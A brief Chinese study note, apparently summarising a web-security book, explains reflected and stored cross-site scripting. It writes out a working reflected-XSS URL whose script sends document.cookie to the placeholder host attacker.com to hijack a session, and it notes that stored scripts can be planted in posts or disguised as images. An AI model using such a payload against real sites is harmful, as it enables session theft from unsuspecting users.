FYI,
软件安全领域的关注焦点已从服务器端攻击转变为客户端攻击
原书说,“
XSS攻击是针对其它用户的重量级攻击”
1.反射型漏洞
a.URL参数中接受一个文本 http://hello.com/msg.jsp?msg=
Sorry,页面渲染后这个文本将打
印在页面上 <p>Sorry</p>,亦即将用户在HTTP参数中输入的文本“
反射”给用户
b.攻击者在参数中不输入正常的文本,而是一段javascript,然后把这个URL发给一个用户
http://hello.com/msg.jsp?msg=
<script>var+i=new+Image;+i.src="http://attacker.com/"%2bdocument.cookie;</script>
c.收到这个URL的用户点击之,就会使浏览器执行以下脚本
var i = new Image; i.src="http://attacker.com/"+[b]document.cookie[/b];
也就是说把自己的cookie发给了攻击者拥有的网站 "http://attacker.com/"。攻击者就这样简单地
挟持了一个会话。
这个脚本收集了 hello.com的Cookie,却把Cookie发到了 attacker.com,也就是说,这是个
跨站点的脚本
2.保存型漏洞
发表文章时,写入一段脚本,其他用户看你的帖子时就会执行这段脚本。
这种攻击很厉害:反射型攻击需要诱使别人点你的链接,这种攻击不用;别人点你的链接时基本上已
经登录了,这样你劫持到的session就更好用。
你甚至可以把脚本写入到图片中,对某些版本的IE来说,如果输入 http://../actual_script.jpg,
IE浏览器会把它当HTML来解析。